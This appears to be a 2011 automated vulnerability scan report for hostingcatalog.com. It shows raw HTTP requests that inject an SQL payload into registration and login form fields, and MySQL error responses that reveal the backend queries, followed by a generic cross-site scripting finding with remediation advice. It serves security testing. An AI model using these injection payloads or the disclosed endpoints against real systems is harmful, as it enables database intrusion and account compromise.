company_name POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 631
Accept-Encoding: gzip, deflate

company_name='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:16:20 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 448
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1 in SQL SELECT account_id FROM account WHERE company_name=''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +''
- /register.php

/register.php

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 612
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:18:22 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 443
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+' at line 1 in SQL SELECT account_id FROM account WHERE e_mail=''+ (select convert(int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+char(109)+char(109)+char(97)) from syscolumns) +''
- /register.php

/register.php

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 648
Accept-Encoding: gzip, deflate

company_name='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:37:41 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 448
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1 in SQL SELECT account_id FROM account WHERE company_name=''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +''
- /register.php

/register.php

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 3
province POST 3
zip POST 3
country POST 225
phone POST 3
e_mail POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
account_type POST 1
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 629
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=3&province=3&zip=3&country=225&phone=3&e_mail='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&account_type=1&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:39:44 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 443
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+' at line 1 in SQL SELECT account_id FROM account WHERE e_mail=''+ (select convert(int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+char(109)+char(109)+char(97)) from syscolumns) +''
- /register.php

/register.php

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 633
Accept-Encoding: gzip, deflate

company_name='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 13:58:52 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 448
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1 in SQL SELECT account_id FROM account WHERE company_name=''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +''
- /register.php

/register.php

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 614
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:00:53 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 443
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+' at line 1 in SQL SELECT account_id FROM account WHERE e_mail=''+ (select convert(int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+char(109)+char(109)+char(97)) from syscolumns) +''
- /register.php

/register.php

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 621
Accept-Encoding: gzip, deflate

company_name='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:20:39 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 448
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+' at line 1 in SQL SELECT account_id FROM account WHERE company_name=''+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +''
- /register.php

/register.php

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST 3
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 602
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address=3&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:22:37 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 443
Connection: close
Content-Type: text/html; charset=UTF-8


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+' at line 1 in SQL SELECT account_id FROM account WHERE e_mail=''+ (select convert(int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+char(109)+char(109)+char(97)) from syscolumns) +''
- /advert_login.php

/advert_login.php

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
temp_check POST 755
user_login POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
password POST 3
form_field POST 1

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 226
Accept-Encoding: gzip, deflate

temp_check=755&user_login='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&password=3&form_field=1

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 14:29:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 477


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+' at line 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''+ (select convert(int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+char(109)+char(109)+char(97)) from syscolumns) +'' AND active NOT IN (2,3,4)
- /advert_login.php

/advert_login.php

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
temp_check POST 755
user_login POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
password POST 3
remember_both POST 1
remember_mail POST 1
form_field POST 1

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 258
Accept-Encoding: gzip, deflate

temp_check=755&user_login='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&password=3&remember_both=1&remember_mail=1&form_field=1

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 14:35:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 477


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+' at line 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''+ (select convert(int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+char(109)+char(109)+char(97)) from syscolumns) +'' AND active NOT IN (2,3,4)
- /advert_login.php

/advert_login.php

http://www.hostingcatalog.com/advert_login.php

Parameters

Parameter Type Value
temp_check POST 755
user_login POST '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
password POST 3
B1 POST Login
form_field POST 1

Request

POST /advert_login.php HTTP/1.1
Referer: http://www.hostingcatalog.com/advert_login.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 235
Accept-Encoding: gzip, deflate

temp_check=755&user_login='%2B%20(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)%20%2B'&password=3&B1=Login&form_field=1

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sun, 24 Apr 2011 14:40:41 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 477


Error #1064: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+' at line 1 in SQL SELECT account_id,password FROM account WHERE e_mail=''+ (select convert(int,char(95)+char(33)+char(64)+char(50)+char(100)+char(105)+char(108)+char(101)+char(109)+char(109)+char(97)) from syscolumns) +'' AND active NOT IN (2,3,4)
Cross-site Scripting

Cross-site Scripting

126 TOTAL
IMPORTANT
CONFIRMED
126
XSS (Cross-site Scripting) allows an attacker to execute a dynamic script (Javascript, VbScript) in the context of the application. This allows several different attack opportunities, mostly hijacking the current session of the user or changing the look of the page by changing the HTML on the fly to steal the user's credentials. This happens because the input entered by a user has been interpreted as HTML/Javascript/VbScript by the browser.

XSS targets the users of the application instead of the server. Although this is a limitation, since it allows attackers to hijack other users' session, an attacker might attack an administrator to gain full control over the application.

Impact

There are many different attacks that can be leveraged through the use of XSS, including:

Remedy

The issue occurs because the browser interprets the input as active HTML, Javascript or VbScript. To avoid this, all input and output from the application should be filtered. Output should be filtered according to the output format and location. Typically the output location is HTML. Where the output is HTML ensure that all active content is removed prior to its presentation to the server.

Prior to sanitizing user input, ensure you have a pre-defined list of both expected and acceptable characters with which you populate a white-list. This list needs only be defined once and should be used to sanitize and validate all subsequent input.

There are a number of pre-defined, well structured white-list libraries available for many different environments, good examples of these include, OWASP Reform and Microsoft Anti Cross-site Scripting libraries are good examples.

Remedy References

External References

- /notcharged.php

/notcharged.php CONFIRMED

